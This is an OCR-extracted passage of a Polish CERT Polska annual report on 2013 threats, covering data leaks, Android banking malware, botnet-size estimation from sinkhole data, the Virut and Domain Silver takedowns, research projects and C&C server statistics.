a dane byty kopiowane w momencie wykonywania transakcji [27].

Wyciek danych nie zawsze jest konsekwencjg zamierzonego ztosliwego dziatania. Uzytkow-
nicy czesto sami ujawniajg swoje dane, nie do konca zdajac sobie z tego sprawe. Przykta-
dem moga by¢ zdjecia umieszczane przez polskich uzytkownikéw w serwisie Instagram.
Bardzo tatwo mozna tam znalez¢ skany takich dokumentéw jak prawo jazdy, dowdd osobi-
sty, paszport, dowdd rejestracyjny, legitymacja szkolna czy karta kredytowa [25].

Wiekszos¢ wykradzionych haset, a rzadziej danych, jest przechowywanych w postaci nie-
jawnej. Pomimo tego zdarzyty sie przypadki wycieku, gdzie hasta byty dostepne w postaci
jawnej. Az 1,3 miliona takich haset i powigzanych z nimi logindw wyciekto z serwisu spo-
tecznosciowego dla nastolatek Glitery.pl [54]. Jednakowoz przechowywanie haset w posta-
Ci niejawnej nie zawsze jest wystarczajace, szczegolnie jesli przechowuje sie wraz z nimi
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podpowiedzi ufatwiajace ich odgadniecie. Tak byto w przypadku baz uzytkownikéw Adobe.
Hasta byty szyfrowane za pomocg poprawnego algorytmu szyfrowania, ale zastosowane-
g0 w zly sposob, a podpowiedzi nie byty szyfrowane w ogole. Zastosowana metoda szyfro-
wania dla takich samych haset, uzywanych przez réoznych uzytkownikéw, generowata takie
same szyfrogramy. W zwigzku z tym, mozna byto do jednego zaszyfrowanego hasta przypi-
sac wiele podpowiedzi. Na przykfad dla szyfrogramu flpT7i/Q= wystepowato 9077 podpo-
wiedzi. Niektére z nich jednoznacznie wskazywaty na hasto "123456";

» "123456" » 6 pierwszych liczb

» 123456 » cyfry kolejno

» 1-6 » cyfry od jeden do szesciu

» 1do6 » haslo:123456

» 6543271wspak » Haslo to szesc cyfr od jeden

» 6 cyferek

Ostatnim kryterium, na podstawie ktérego podzielilismy wycieki danych, sg roszczenia
i motywy 0s6b wykradajgcych dane. Wiele z nich robi to, aby uzyskac rozgtos. Tak byto
np. w przypadku osoby, ktéra wykradta baze ponad 250 tysiecy uzytkownikow portalu
www.dobreprogramy.pl. W zamian za niepublikowanie bazy zazgdata ona umieszczenia na
gtéwnej stronie serwisu, artykutu "przedstawiajgcego w dobrym Swietle” TOR-owe forum
ToRepublic [52]. Niejednokrotnie dane sg kradzione i udostepniane z pobudek ideologicz-
nych. Taka sytuacja miata wielokrotnie miejsce w przypadku dziatan grupy "Anonymous”
[15]. Bardzo czestym motywem jest takze chec uzyskania korzysci materialnych, tak jak to
miato miejsce przy kradziezy bazy danych klientéw Netii [23].
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ZAGROZENIA MOBILNE

14

W 2013 roku w Polsce dominowaty dwa rézne rodzaje ztosliwego oprogramowania na
platformie Android. W kwietniu otrzymalismy sygnaty od polskich uzytkownikéw banko-
wosci elektronicznej o nowym zagrozeniu mobilnym nazwanym "E-Security”. Aplikadja ta,
mimo swojej prostej budowy, potrafita skutecznie uzyskac kody jednorazowe uzywane do
wykonania operacji przelewu na konto kontrolowane przez cyberprzestepcow [33].

Infekcja tym oprogramowaniem przebiegata wieloetapowo. Najpierw komputer uzytkow-
nika musiat zostac zarazony ztosliwym oprogramowaniem, ktére po wejsciu na strone in-
ternetowg banku wyswietlato komunikat o potrzebie instalacji aplikacji mobilnej, rzekomo
stworzonej przez bank w celu zapewnienia wiekszego bezpieczenstwa. Uzytkownik musiat
wprowadzi¢ swoj numer telefonu oraz wybrac¢ system operacyjny, ktéry jest zainstalowany
na jego smartfonie. W analizowanym przypadku istniafa wersja tylko na system operacyjny
Android. Nastepnie, pod podany numer telefonu, wysytana byfa wiadomos¢ SMS z linkiem
do wspomniane] aplikadji. Zeby sie upewni¢, ze uzytkownik zainstalowat te aplikacje, trzeba
byto podac "kod aktywacyjny”, ktory wyswietlat sie po jej uruchomieniu.

P&Zniej przestepcy zaczeli uzywac bardziej zaawansowanych narzedzi - kolejny ztosliwy
program, nazwany "Mobile Antivirus” [39], ktory rozprzestrzeniat sie podobnie do E-Se-
curity, ale miat bardzo rozbudowane mozliwosci. Jedng z czesciej wykorzystywanych byto
usuniecie wszystkich danych uzytkownika. Utrudnia to analize zagrozenia, jednak powo-
duje rowniez, ze uzytkownik zauwaza obecnos¢ ztosliwego oprogramowania. Wsrod in-
nych funkcjonalnosci byto réwniez wysytanie wiadomosci SMS Premium, czyli wiadomosci
0 podwyzszonej optacie.

Oba te przypadki infekowaty jednak niewielkg liczbe uzytkownikow. Infekcje te byty oczy-
wiscie dotkliwe, gdyz powodowaty utrate znacznych srodkéw, ale jednak byty dosy¢ ogra-
niczone. Otrzymalismy od uzytkownikéw informacje dotyczace tylko tych dwaoch aplikadji.
Mozna stad wnioskowac, ze zagrozenia dla uzytkownikéw smartfondw, chociaz sg w Polsce


http://www.dobreprogramy.pl/

obecne, nie sg tak powazne jak zagrozenia dla uzytkownikow komputeréw. Zresztg widac
to po liczbach. W przypadku opisanej wyzej aplikacji E-Security mniej niz trzysta réznych
numerow telefonow w ciggu kilku dni otrzymato SMS z linkiem do ztosliwej aplikacji (co
0znacza, ze jeszcze mniej byto faktycznie zarazonych), podczas gdy chociazby sam botnet
Citadel plitfi kontrolowat ponad 11 000 komputerow, nie wspominajgc innych botéw, kto-
re znajdujg sie na komputerach polskich uzytkownikéw. Przy czym liczba smartfonow uzy-
wanych w Polsce nie odbiega az tak drastycznie od liczby komputeréow — wedtug réznych
zrodet ([47], [1]) w Polsce uzywa sie od 6 do 7.5 miliona smartfonéw w poréwnaniu do
11 milionéw komputeréw. W obu przypadkach instalacji mobilnego malware'u uzytkownik
musiat mie¢ najpierw zainfekowany komputer, a dopiero pdzniej, za jego pomoca, infeko-
wany byt smartfon.

Mobilne ztosliwe aplikacje sg trudniejsze do zwalczenia od malware'u stworzonego na
komputery. Do komunikacji zamiast sieci komputerowej wykorzystywana jest sie¢ GSM -
rozkazy jak i raporty wysytane sg przez wiadomosci SMS. Dlatego tez trudniej jest wykry¢
infekcje - infrastruktura GSM jest zawsze dostarczana przez zewnetrzng firme, podczas
gdy w przypadku sieci komputerowej, jestesmy w stanie analizowac ruch sieciowy np. na
routerze. Jedyng mozliwoscig ochrony jest zainstalowanie odpowiedniej aplikacji na telefo-
nach uzytkownikow, co jednak i tak nie gwarantuje petnej ochrony, poniewaz dany smart-
fon moze by¢ juz kontrolowany przez cyberprzestepcow.

W systemach operacyjnych z rodziny Android, az do wersji 4.3 (Jelly Bean), stosunkowo ta-
two byto ukry¢ zaréwno wysytane, jak i odbierane wiadomosci SMS. W wersji 4.4 (KitKat)
istnieje tylko jedna aplikacja systemowa, ktéra ma uprawnienia do odbierania i wysytania
wiadomosci SMS [31]. Pozostate aplikacje moga czytac czy tez probowac wystac wiado-
mos¢, ale i tak wszystkie te wiadomosci musza przejsc przez systemowg aplikacje obstugu-
jaca wiadomosci. Ta aplikacja podejmuje decyzje co zrobi¢ z wiadomoscig przeznaczong
do wystfania (domysInie zapisuje ja w katalogu "Wystane”) oraz czy pokazac uzytkownikowi
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odebrang wiadomos¢. Powoduje to, ze ztosliwa aplikacja musiataby by¢ ustawiona jako do-
myslana aplikacja do obstugi wiadomosci SMS, aby maoc je ukrywac. Psuje to kompatybil-
nos¢ wsteczng dwaoch opisywanych wczesniej ztosliwych aplikadji.

Aby ustrzec sie przed tego typu zagrozeniami, warto zachowac rozsgdek. Jesli pokazuje
sie nam nowy, nietypowy komunikat od naszego banku, proszacy o podanie jakichkolwiek
danych, najlepigj jest skontaktowac sie bezposrednio ze swoim bankiem. Podobnie jest
w przypadku, gdy otrzymujemy nietypowg wiadomos¢ e-mail czy SMS. Gdy spotka nas kto-
res z wymienionych tu zagrozen nalezy pamietac, ze usuniecie ich z telefonu nie rozwigze
catkowicie problemu - w koncu bylismy zainfekowani poprzez nasz komputer, na ktérym
tez znajduje sie ztosliwe oprogramowanie. W przypadku zauwazenia takich infekcji nalezy
skontaktowac sie z serwisem komputerowym, ktory specjalizuje sie w usuwaniu tego typu
zagrozen.
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JAK LICZYC BOTNETY?

Rézne instytucje stosujg odmienne metody okreslania liczebnosci botnetéw. Kazda
organizacja zajmujaca sie przejeciem botnetu ma powod, aby uzna¢ wtasnie zdejmowa-
ny botnet za bardzo duzy, jesli nie najwiekszy [42]. Prowadzi to do stosowania wielu roz-
nych metodyk liczenia. Postaramy sie wskazac, ktéra z nich jest jednoczesnie fatwa w uzy-
Ciu i dobrze przybliza wielkos¢ botnetu. W tegorocznym raporcie wybraliSmy wtasnie te
metryke.

Aby zrozumie¢ problem, nalezy przedstawi¢ przeszkody, jakie towarzyszg szacowaniu wiel-
kosci danego botnetu. Rozwazmy kilka mozliwosci takiego szacowania i to, w jaki sposob
obserwacja ta wptywa na okreslenie wielkosci. Abstrahujemy tutaj od tego, jak dane doty-
Czace botnetu sg zbierane - to oczywiscie tez wptywa na szacowanie wielkosci botnetuy,
ale najczesciej wybierany jest sposéb, ktory jest jednoczesnie mozliwy do implementadji
i doktadny.

15.1

Najczestszym sposobem szacowania wielkosci botnetu jest liczenie unikalnych adreséw
IP. Jednak takie podejscie zaktada, ze dany adres IP reprezentuje jeden i w dodatku za-
wsze ten sam komputer. Zatozenie takie nie jest prawdziwe, jak zauwazajg autorzy ra-
portu ENISA [28], w wielu przypadkach dostawcy Internetu korzystaja z dynamicznych
adresow IP. Adresy takie zmieniane sg co jakis czas lub gdy uzytkownik zrestartuje mo-
dem badz router dostepowy. Powoduje to, ze dany uzytkownik raz na jakis czas otrzymu-
je inny adres IP, co w przypadku zliczania unikalnych adreséw IP powoduije, ze jeden bot
moze byc¢ policzony kilkukrotnie. W jednym z przypadkéw jeden bot zmienit adres IP 694
razy w ciggu 10 dni [50]. Zeby pozby¢ sie tego efektu, mozna liczy¢ unikalne adresy IP na
dzien, przy zatozeniu, ze wiekszos¢ komputeréw zmienia adres IP Srednio raz dziennie.
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Z drugiej strony, wiele sieci stosuje technike mapowania adreséw sieciowych (NAT). Pozwala
ona na korzystanie z jednego publicznego adresu IP przez wiele urzgdzen sieciowych. Wyko-
rzystywana jest na przyktad w firmach, ktére nie potrzebujg, aby kazda stacja robocza miata
osobny, publiczny adres IP. Podobne dziatania podejmujg uzytkownicy domowi, ktorzy insta-
luja router w swojej sieci, aby zapewnic¢ dostep do Internetu kilku urzgdzeniom (np. za pomo-
q sieci WiFi). W takim przypadku za jednym adresem IP moze znajdowac sie kilka badz kilka-
nascie botéw, a zliczony zostanie tylko jeden. Nie ma zatem tatwej metody na poprawienie
tak zafatszowanych wynikéw. Pozostaje jedynie uwzglednienie identyfikatoréw bota.

15.2

Drugim sposobem okreslania wielkosci botnetu jest uzycie identyfikatora bota. W niekto-
rych przypadkach takich jak Citadel opisany w [36], identyfikator ten jest z duzym praw-
dopodobienstwem unikalny. Niestety w innych przypadkach, np. Virut, identyfikator, kto-
ry miat by¢ unikalny okazat sie zupemie nieprzydatny. Powstawat z Volume Serial Number,
ktory mogt by¢ zmieniony przez uzytkownika i nie identyfikuje jednoznacznie maszyny [37].

15.3

Proponujemy, podobnie jak i badacze z Johns Hopkins University [42] oraz autorzy rapor-
tu ENISA [28], aby termin wielkos¢ botnetu nie byt terminem uniwersalnym i odnosit sie
réwniez do metodyki, ktéra zostata zastosowana, wraz z jej wszelkimi wadami. Microsoft
w swoim raporcie [20] oddziela dwie koncepcje: cleaned computers per mile, CCM (czy tez
infection rate), czyli liczba komputerdw, na ktorych wykryto ztosliwe oprogramowanie oraz
encounter rate, czyli liczba komputeréw, na ktérych oprogramowanie antywirusowe byto
w stanie zablokowac infekcje.



Réznice w liczeniu wielkosci botnetéw za pomocg réznych metod sg znaczace. Jako przy-
ktad rozpatrzmy trzy rozne przypadki. Pierwszy oszacowuje wielko$¢ botnetu Torpig [50]
na podstawie dziesieciodniowej obserwacji:

> 1 247 642 unikalnych adresow IP,

> 182 800 unikalnych identyfikatoréw bota,

> 179 866 unikalnych adresow IP dziennie (Srednio),

> okoto 200 000 unikalnych adreséw dziennie (maksymalnie),

> okoto 125 000 unikalnych identyfikatoréw botéw dziennie (maksymalnie).

Zakfadajac, ze generowane identyfikatory sg unikalne, albo przynajmniej lepiej odzwiercie-
dlaja wielkos¢ botnetu, dochodzimy do wniosku, ze gdybysmy szacowali wielkos¢ Toripga
na podstawie unikalnych adreséw IP, to przeszacowalibysmy ja ponad szesSciokrotnie.
Z drugiej strony, jak zauwazajg autorzy dokumentu, o ile liczba dziennych unikalnych ad-
resow IP rozni sie o ponad 36% wzgledem liczby dziennych unikalnych botéw, to dosyc

dobrze przybliza catkowitg wielkos¢ botnetu.

Drugi przypadek to préba oszacowania wielkosci jednej instancji botnetu Citadel na pod-
stawie 25-dniowej obserwacji [36]:

> 164 323 unikalnych adreséw [P,

> 11 730 unikalnych identyfikatorow.

Okres obserwacji byt jeszcze dtuzszy, przez co liczba unikalnych adreséw IP rézni sie jesz-
cze mocniej od rzeczywistej wielkosci botnetu. 14-krotnie wiecej unikalnych adreséw IP
skontaktowato sie z serwerem niz rzeczywiscie byto botéw.

Trzeci przypadek to potgczenia z naszym sinkholem z réznych instandji botnetéw opartych

na ztosliwym oprogramowaniu Citadel. Wyniki przeprowadzonych przez nas w ciggu 10 wy-
branych losowo dni pomiaréw znajdujg sie w tabeli 4.

_ Unikalne adresy IP Unikalne identyfikatory botéw

18.01.2014 3323 2288
19.01.2014 3671 2376
20.01.2014 3963 2414
21.01.2014 4459 2341
4.02.2014 3238 2268
5.02.2014 3217 2230
6.02.2014 3486 2290
7.02.2014 3306 2180
8.02.2014 3092 2094
9.02.2014 3311 2174
tacznie 19768 3429

Tabela 4: Dane zebrane z serwerdw sinkhole CERT Polska
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Wedtug firmy Arbor, w niektérych przypadkach za jednym adresem IP, w wyniku dziatania
NAT moze sie znajdowac¢ nawet 100 roznych zainfekowanych komputerow [22]. Jednak
w przypadku danych z naszego sinkhole’a zaobserwowalismy maksymalnie cztery rozne
zainfekowane komputery pod jednym adresem IP. Srednio na jeden adres IP przypadato
1,02 bota. Jeden z komputeréw w ciggu 4 dni zmienit adres IP 858 razy, przy czym srednio
jeden komputer miat 5,90 roznych adreséw IP w ciggu catego okresu obserwacji serwera.
taczna liczba unikalnych adresoéw IP jest prawie szesciokrotnie wieksza niz liczba unikal-
nych identyfikatoréw.

Mimo, iz liczba unikalnych dziennych adreséw IP jest wieksza od liczby unikalnych dzien-
nych identyfikatoréw, to trafnie oddana jest skala wielkosci botnetu. Nalezy zauwazy¢, ze
nie zawsze jestesmy w sytuacji, w ktérej bot tworzy unikalny identyfikator. Dlatego, naszym
zdaniem, maksymalna liczba unikalnych adreséw IP dziennie jest miarg, ktora dobrze przy-
bliza rzeczywista wielkos¢ botnetu.

15.4

Aby odnies¢ sie do procentowej liczby infekcji, trzeba oszacowac liczbe podigczonych do
Internetu komputeréw w Polsce. W 2012 roku, wedtug statystyk Eurostat [7], [6], w Palsce
znajdowato sie 13 444 300 gospodarstw domowych, z czego 72% miato dostep do Inter-
netu, co daje okoto 9 680 000.

Podobna wartos¢ - 9 758 268 gospodarstw domowych posiadajgcych dostep do Interne-
tu - mozna otrzymac biorgc pod uwage dane podane przez Gtowny Urzad Statystyczny za
2011 rok [48]. W Polsce byto 13 572 000 gospodarstw domowych. Rowniez wedtug GUS
[49], w 2013 roku 71,9% gospodarstw domowych miato dostep do Internetu.
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Mozna zatozy¢, ze Srednio w danym gospodarstwie domowym znajduje sie 1,12 kompute-
ra. Informacja ta wynika z danych GUS ze spisu ludnosci [48] - w gospodarstwie domowym
zyjq Srednio 2,82 osoby, oraz danych Rady Monitoringu Spotecznego [47], ktéra podaje
w swoim raporcie, ze na jeden komputer w gospodarstwie domowym przypada srednio
2,5 osoby.

Na podstawie powyzszych raportéw mozna wyciggng¢ wniosek, ze liczba komputeréw
podtaczonych do Internetu w Polsce w gospodarstwach domowych, jest rzedu 11 milio-
now. Dane te nie obejmujg telefondw komaorkowych czy tabletow jak i komputeréw znaj-
dujgcych sie w firmach, na uczelniach czy w bibliotekach. Daje ona jednak pewien szacu-
nek, rzad wielkosci. Dzielgc te liczbe przez liczbe zgtoszen o zainfekowanych komputerach
dziennie dochodzimy do wniosku, ze 1,5% komputeréw znajdujgcych sie w gospodar-
stwach domowych jest zainfekowanych.



16.1

Na przetomie stycznia i lutego 2013 r. NASK dokonat przejecia 43 domen z koncowka
.pl stuzgcych przede wszystkim do zarzgdzania botnetem Virut oraz dystrybudji plikéw wyko-
nywalnych z tym ztosliwym oprogramowaniem. Przejecie odbywato sie w kilku etapach i roz-
poczeto sie 23 stycznia. Byly to pierwsze dziatania NASK prowadzace do odebrania domen
.pl szkodzacych uzytkownikom Internetu, kontynuowane pézniej z powodzeniem w przypad-
ku innych botnetéw, a takze rozwigzania wspotpracy z rejestratorem Domain Silver. Wiecej
szczegbtéw na ten temat znajduje sie w rozdziale 16.2 raportu.

Virut byt jednym z najbardziej ucigzliwych zagrozen, z ktérymi mozna spotkac sie w Internecie.
Rozpowszechniat sie m.in. poprzez luki w przegladarkach internetowych, a do zarazenia do-
chodzito najczesciej w wyniku odwiedzenia strony WWW, na ktorej przestepcy umiescili Viruta.

Gtownymi zrodfami wirusa byty domeny zief.pl oraz ircgalaxy.pl, ktore petnity funkcje centréow
sterujgcych zainfekowanymi komputerami-zombie i wysytajgcych rozkazy ataku. W 2012
roku pojawity sie kolejne domeny z koncowka .pl, ktére miaty te same zadania, a takze przy-
czyniaty sie do rozpowszechniania ztosliwych programoéw — m.in. Palevo i Zeusa. Botnety zbu-
dowane w oparciu o Viruta stuzyty miedzy innymi do dokonywania kradziezy danych, atakow
DDoS czy wysytania spamu.

Pierwsze infekcje Virutem odnotowano w 2006 roku, ale od tego czasu zagrozenie to znacz-
nie przybrato na sile. Od 2010 roku NASK podjat intensywne prace nad wyeliminowaniem
dziatalnosci Viruta w naszym kraju. W samym 2012 roku CERT Polska odnotowat 890 tysiecy
zgtoszen zainfekowanych adresow IP z Polski.

Domeny zwigzane z Virutem (w tym takze domeny z koncowka .ru wykorzystujace serwery
nazw w przejetych domenach .pl) zostaty przekierowane do sinkhole'a zarzadzanego przez

NASZA DZIALALNOSC

CERT Polska. Obserwowalismy na nim potaczenia z okoto 270 tysiecy unikalnych adreséw
IP kazdego dnia - gtéwnie z Egiptu, Pakistanu oraz Indii. Na podstawie zebranych danych
dziafalnos$¢ botnetu powigzalismy takze z innymi przedsiewzieciami, w tym z fatszywym
programem antywirusowym. Raport z przejecia botnetu Virut znajduje sie pod adresem:
www.cert.pl/PDF/Raport_Virut_PL.pdf.

16.2

W lipcu 2013 NASK zakonczyt wspotprace z Domain Silver Inc. - jednym z partneréw pet-
nigcych role rejestratoréw domen .pl. Domain Silver, firma zarejestrowana na Seszelach,
byta partnerem NASK od lutego 2012. Wsréd nazw domenowych rejestrowanych za jej
posrednictwem znajdowaty sie niemal wytacznie takie, ktore stuzyty do zarzgdzania zto-
Sliwym oprogramowaniem, nielegalnego lub poétlegalnego obrotu farmaceutykami, rekla-
mowanymi za pomocg spamu. Wsrod botnetow zarzagdzanych z domen zarejestrowanych
za posrednictwem firmy znajdowato sie m.in. wiele instancji Citadel, Dorkbot, Androme-
da. Domeny stuzyty takze do sterowania niektérymi odmianami oprogramowania typu
ransomware.

Na domiar ztego, Domain Silver niechetnie i opieszale reagowat na zgtaszane pod swoim
adresem skargi na naduzycia z wykorzystaniem nazw domenowych. Pozwalato to na przy-
puszczanie, ze dziatania rejestratora sg celowe, a wiec ze jest on tzw. rogue registrar, po-
zostajgcym w zmowie z osobami wykorzystujgcymi domeny lub przynajmniej Swiadomie
czerpiacym z ich dziafalnosci korzysci.

W trakcie ponad roku istnienia jako partner NASK Domain Silver zarejestrowat 2926 nazw
domenowych, z ktérych 641 miato status zarejestrowanych w momencie zakonczenia
wspotpracy (wiele wczesniejszych byto rejestrowane w ramach tzw. ustugi "domain tasting”

37


http://www.cert.pl/PDF/Raport_Virut_PL.pdf

lub zostato usunietych w wyniku naduzyc). Wszystkie domeny zostaty przejete przez NASK
i przeniesione do administrowania przez wirtualnego rejestratora "vinask”.

Nastepnie w miare postepu analiz, byty one przenoszone na sinkhole zarzadzany przez
CERT Polska. W ciggu jednego tylko dnia po przejeciu czesci domen obserwowalisSmy pota-
czenia na nie z ponad 100 tysiecy unikalnych adresow IP z catego Swiata. Adresowane byty
przede wszystkim do domen zarzadzajgcych Zeus ICE IX oraz Citadelem, a wiekszos¢ z nich
pochodzita z Niemiec i Polski.

Peten raport dotyczacy Domain Silver opublikowaliSmy pod adresem: www.cert.pl/PDF/
Raport_Domain_Silver_PL_updated.pdf.

NECOMAYY

16.3

W 2013 roku rozpoczelismy prace w ramach miedzynarodowego projektu badawczego
Nippon-European CyberdefenseOriented Multilayer threat Analysis (NECOMA). Uczestni-
cy projektu to europejskie organizacje zaangazowane w badania w obszarze bezpieczen-
stwa, oprocz NASK - Institut Mines-Telecom (Francja), Atos (Hiszpania), Foundation for Re-
search and Technology - Hellas (Grecja), 6cure (Francja) oraz instytucje japonskie: Nara
Institute of Science and Technology, Internet Initiative Japan, National Institute of Informa-
tics, Keio University, University of Tokyo. Celem NECOMA jest opracowanie nowych technik,
ktore pozwolityby na podniesienie poziomu bezpieczenstwa teleinformatycznego poprzez
zwiekszenie odpornosci na istniejgce i nowe zagrozenia.

Jednym z podstawowych zadan projektu jest udoskonalenie metod pozyskiwania infor-
madji istotnych z punktu widzenia bezpieczenstwa i ich efektywnej wymiany - zaréwno
miedzy réoznymi systemami w obrebie pojedynczej organizadcji, jak i na szerszg skale. W te
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problematyke wpisuje sie stworzona przez CERT Polska platforma n6%, ktérej nowa wer-
sja bedzie stanowi¢ jeden z gtéwnych mechanizmow wymiany danych w ramach NECOMA.

Drugi obszar prac to analiza zebranych danych, zaréwno z punktu widzenia atakujgcych jak
i ofiar, w celu opracowania nowych sposobdéw wykrywania atakéw i mierzenia ich skutkow.
Szczegblng uwage poswiecamy na uzyskanie catosciowego obrazu sytuacyjnego, pozwala-
jacego na zrozumienie wszystkich istotnych aspektéw zagrozen oraz wspieraniu procesu
decyzyjnego w czasie bliskim rzeczywistemu.

NECOMA obejmuje réwniez kwestie przetozenia informacji o zagrozeniach na konkretne
dziafania obronne. Odbywa sie to poprzez efektywniejsze wykorzystanie istniejgcych me-
chanizmow oraz stworzenie nowych, w celu lepszej ochrony atakowanych zasobdw.

Wymienione trzy obszary badawcze sg analizowane wielowarstwowo — na poziomie in-
frastruktury internetu (serwery, tacza), urzadzen koncowych (m.in. przegladarki, smartfony)
i korelujac informacje pozyskane z obu warstw. Mimo, ze wspofczesnie atakujgcy majg do
dyspozydji szeroki wachlarz technologii i sg w stanie wykorzystac je w zaskakujgcy sposob,
dzieki pofaczeniu wiedzy z wielu Zrodet mamy szanse na uchwycenie istoty zagrozen i pod-
jecie odpowiednich dziatan.

Projekt jest finansowany przez Ministerstwo Spraw Wewnetrznych i Komunikadji Japonii
oraz Unie Europejskg, jako czes¢ Siodmego Programu Ramowego (FP7/2007-2013), umo-
wa o grant nr 608533. Szczegdtowe informacje o NECOMA, aktualnosci i publikacje sg do-
stepne na stronie: www.necoma-project.eu.

“ http://n6.cert.pl/
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16.4

17 edydja konferencji SECURE organizowanej corocznie przez NASK i CERT Polska odbyta
sie 9110 pazdziernika w Centrum Nauki Kopernik w Warszawie. Wzieto w niej udziat ponad
350 uczestnikéw. 40 prezentacji w ciggu dwoch bardzo pracowitych dni dotyczyto szero-
kiego spektrum tematow - od bardzo technicznych po prawne i organizacyjne.

Zapewne ze wzgledu na aktualnos¢ tematu bardzo duzym zainteresowaniem cieszyty sie
W szczegblnosci prezentacje poswiecone atakom DDoS prowadzone przez tukasza Czar-
nieckiego i Marcina Jerzaka z PCSS oraz Johna Grahama-Cumminga z Cloudflare.

Swietnie ocenione zostaty takze prezentacje techniczne z drugiego dnia, w tym opis atakdw
na urzadzenia sieciowe Michata Sajdaka (sekurak.pl), przemyslenia na temat bezpieczen-
stwa antywiruséw Gynvaela Coldwinda oraz PoC zewnetrznego debuggera Heisenberg
od dwoch cztonkéw polskiej grupy Honeynet Project - Macieja Szawtowskiego i Tomasza
Satacinskiego.

W prezentacjach plenarnych mieliSmy okazje zapoznac sie z réznymi punktami widzenia
na udziat chinskich hakerow i rzgdu w cyberatakach (Ryan Kazanciyan z Mandianta i Bill Ha-
gestad Il z Red Dragon Rising), postucha¢ o mozliwosciach inwigilacji za pomoca urzadzen
mobilnych (Glenn Wilkinson z Sensepost) czy o prawdziwych wyzwaniach w ochronie infra-
struktury krytycznej (Edmond Rogers).

Wsréd zagranicznych gosci warto takze wymieni¢ Kimmo Ulkuniemi z Interpolu, Andrew
Lewmana z Torproject.org czy przedstawicieli CERT/CC i DHS. Partnerem Gtéwnym konfe-
rencji SECURE 2013 byto Narodowe Centrum Badan i Rozwoju, a patronat nad nig objety
ENISA, GIODO, MAIC oraz MNiSW.

Wiekszos¢ prezentacji z konferencji dostepna jest w postaci nagran wideo (bit.ly/1gBM-
Zmx) i/lub slajdéw. Konferencji towarzyszyty warsztaty SECURE Hands-on, prowadzone
przez ekspertéw z CERT Polska i NASK. Tematy dotyczyty wykrywania atakow sieciowych,
infekcji ztosliwym oprogramowaniem oraz znoszenia skutkéw atakéw DDoS, a zaintere-
sowanie byto na tyle duze, ze miejsca (réwniez na dodatkowe edycje) bardzo szybko sie
wyczerpaty. Wiecej informacji o konferencji mozna znalez¢ na stronie www.secure.edu.pl
i profilu facebookowym (fb.com/Konferencja.SECURE).

16.5

CERT Polska oraz NASK starajac sie wyjs¢ naprzeciw problemowi braku pomostu miedzy
specjalistami a zwyktymi uzytkownikami komputerow, 13 czerwca 2013 roku w ramach
projektu NISHA zorganizowat warsztat "Bezpieczenstwo z pewnego zrodfa”. Spotkanie
miafo na celu dyskusje nad platforma wymiany informacji pomiedzy ekspertami, ktorzy sg
w stanie dostarczy¢ sprawdzong i rzetelng informacje, a sSrodowiskiem dziennikarzy, docie-
rajgcych do uzytkownika koncowego. W programie spotkania oprocz prezentadji eksper-
tow z CERT Polska i NASK powstata inicjatywa zakfadajaca stworzenie repozytorium tresci
tworzonych przez ekspertow oraz stworzenie platformy wymiany rzetelnych i sprawdzo-
nych informacji pomiedzy ekspertami a srodowiskiem mediéw. Spotkanie zakonczyto sie
owocng dyskusjg na temat najczestszych problemoéw zwigzanych ze wspotpracg eksper-
tow bezpieczenstwa z mediami.

16.6

Juz po raz drugi w Europie organizowana byta w pazdzierniku 2013 roku kampania maja-
ca na celu podniesienie poziomu $Swiadomosci dotyczacej zagrozen w cyberprzestrzeni.
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Celem Europejskiego Miesigca Cyberbezpieczenstwa (cybersecuritymonth.eu) jest zaréw-
no popularyzacja wiedzy o zagrozeniach, jak i promowanie bezpiecznego korzystania z In-
ternetu i nowoczesnych technologii IT wsréd szerokiej grupy uzytkownikow sieci. Kampania
realizowana jest corocznie z inicjatywy Komisji Europejskiej przy wspoétpracy z Europejska
Agencja Bezpieczenstwa Sieci i Informacji (ENISA) w krajach Unii Europejskiej.

W Polsce partnerem kampanii byt NASK, a zesp6t CERT Polska w tym roku wzigt aktywny
udziat w jej tworzeniu. Wsrod wydarzen, jakie odbyty sie w naszym kraju w ramach ECSM
mozna wymieni¢: konferencje TIKE 2013, konferencje SECURE 2013 oraz quizy wiedzy
0 bezpieczenstwie dedykowane zaréwno starszym, jak i najmtodszym uzytkownikom sieci
promowane przez NASK na stronie www.bezpiecznymiesiac.pl.

Zespot CERT Polska stworzyt quiz dla uzytkownikow Internetu “Zostan Cyberbezpieczni-
kiem”, ktéry byt zbiorem 33 pytan stworzonych na bazie zagadnier poruszanych natamach
polskiej wersji biuletynu OUCH!, wydawanego co miesigc przez Instytut SANS i CERT Polska.
Tematyka biuletynu porusza kwestie zwigzane z codziennym korzystaniem z komputera,
Internetu oraz technologii komunikacyjnych. Quiz miat na celu sprawdzenie podstawowej
wiedzy zwigzanej z bezpieczenstwem komputerowym i teleinformatycznym oraz posiadat
takze walory edukacyjne, gdyz kazde z pytan opatrzone zostato komentarzem eksperckim
i odsyta do zrodet, ktére w przystepnej formie wprowadzajg w zagadnienie. Quiz zostat roz-
wigzany ponad 12 tys. razy.

Quiz jest dostepny na stronie projektu NISHA pod adresem http://nisha.cert.pl/quiz.
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STATYSTYKI

A1

W 2013 otrzymalismy 1 255 022 zgtoszenia dotyczace adresow IP lub petnych nazw do-
menowych (z ang. FQDN - Fully Qualified Domain Name) serweréw C&C. Dziennie srednio
odnotowywalismy 3 438,41 zgtoszen. Podobnie jak w latach ubiegtych, wiekszos¢ zgtoszen
dotyczyta serwerow IRC (gtownie na przypisanym tej ustudze porcie TCP/6667). Otrzymali-
Smy rowniez zgtoszenia dotyczgce serwerdw zarzgdzajacych ZeuSem oraz pokrewnym zto-
Sliwym oprogramowaniem.

W zgtoszeniach znajdowaty sie adresy IP lub petne nazwy domenowe, dlatego zdecydowa-
liSmy sie na opisanie problemu ze wzgledu na lokalizacje adresu IP lub domene najwyzsze-
g0 poziomu (z ang. TLD - Top Level Domain) ztosliwej nazwy domenowej. W statystykach
pominelismy serwery sinkhole CERT Polska.

A.1.1 ADRESY IP

Otrzymalismy zgtoszenia dotyczace 7 687 roznych adresow IP ze 107 krajéw. Podobnie jak
w poprzednich latach najwiecej ztosliwych serwerow byto umieszczonych w Stanach Zjed-
noczonych (prawie 32%). Ponad 2/3 sposrod wszystkich serweréw C&C hosotwane jest
w 10 krajach, przedstawionych w tabeli 5 na str. 41.
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Tabela 5: Kraje, w ktérych hostowane jest najwiecej serwerow C&C

Zaobserwowalismy 1 526 réznych systemdéw autonomicznych, gdzie umiejscowione zosta-
ty serwery C&C. Prawie 1/5 wszystkich ztosliwych serwerdéw zlokalizowana byta wsrod 10
najpopularniejszych AS zaprezentowanych w tabeli 6.
